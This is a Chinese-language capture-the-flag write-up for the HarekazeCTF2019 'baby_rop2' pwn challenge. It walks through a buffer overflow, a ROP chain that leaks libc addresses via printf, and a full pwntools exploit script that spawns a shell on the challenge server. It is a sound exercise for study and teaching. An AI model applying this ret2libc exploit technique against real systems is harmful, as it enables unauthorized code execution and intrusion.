[HarekazeCTF2019]baby_rop2
題目附件
步驟:
例行檢查,64位,開啟了nx保護
運作了一下程式,了解大概的執行情況
64位ida載入,shift+f12檢索程式裡的字元串,沒有發現可以直接利用的,從main函數開始看程式
利用思路:
- 程式很簡單,buf的大小是0x20,但是讀入的時候讀入的是0x100,會造成溢出,我們要想辦法覆寫傳回位址為” system(‘/bin/sh’)“,那樣在執行13行語句的時候,程式回去調用我們布置好的棧,進而得到shell
- 但是程式裡沒有現成的system(‘/bin/sh’),這需要我們去自己去構造,這邊可以利用read函數,去洩露程式的libc基址,然後去獲得system和/bin/sh字元串的位址
- 然後造成溢出,将傳回位址覆寫為system(‘/bin/sh’)
利用過程
一、 洩露libc基址
由于是64位程式,傳參的時候需要用到寄存器
printf函數的原型
int printf( const char* format , [argument] ... );
舉個例子–>print(’%s’,‘hello world’)
大概就是這樣的用法,這邊有兩個參數要設定,是以我們要找到設定rdi,rsi寄存器的指令
ROPgadget --binary babyrop2 |grep "pop rdi"
rdi_addr=0x400733
ROPgadget --binary babyrop2 |grep "pop rsi"
沒有直接設定rsi寄存器的指令,這邊後面還跟着一個r15,無所謂了,不用r15,給他随便設定一下就好了,我這邊設定的0
pop_rsi=0x400731
我們首先要設定第一個參數,就是帶有類似于%s這種格式的字元串,我這邊是使用的程式裡自帶的語句
format_str=0x400770
一開始是打算輸出printf的got表位址的,
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)
但是在調試的時候發現沒法使用,就換成了read函數的got表位址了
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)
解釋一下這句payload的意思
- ‘a’*0x28–>造成溢出,覆寫到了傳回位址
- p64(pop_rdi)+p64(format_str)–>我們在原本語句的傳回位址上寫入了pop_rdi,ret,pop_rdi,對應參數format_str,執行後将formast_str的值設定給了rdi,之後執行ret(傳回指令)
- p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我們将2中的ret寫成了pop_rsi,pop_r15,ret;執行指令pop_rsi對應參數read_got,将rsi寄存器的值設定成了read函數的got表位址,pop_r15對應參數0,由于我們不用r15,随便設定一下它,我是設定成了0
- p64(printf_plt)–>将3中的ret設定成printf函數的plt表位址,實際上就是printf函數的位址,去執行printf函數,輸出我們設定的read函數的位址
- p64(main_addr)–> 在完成第一次利用後,得到了程式内read函數的位址,知道了libc基址,我們需要重新回到程式開頭,再次利用這個輸入點去寫入system‘(/bin/sh)’
接收輸出的read函數位址
我平常是這樣寫的,但是這題這樣寫得到的read函數位址不對
read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
看别人的wp都是這樣寫的
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
問其他師傅是這樣給我解釋的:
接收位址的你看看基本上都是7個位元組的,7f開頭,補全8個位元組
奇怪的知識又增加了
在得到read函數位址後,就可以得到libc版本和這個程式的偏移量了
libc = LibcSearcher('read', read_addr) #利用libcsearcher庫去查找比對的libc版本
libc_base = read_addr - libc.dump('read') #計算程式裡的偏移量
二、計算程式裡system和/bin/sh的位址
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
三、覆寫傳回位址位system(‘/bin/sh ’)
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
完整EXP:
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2')
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
得到shell後利用
find -name ”flag“
去找到flag檔案的位置
最後讀出flag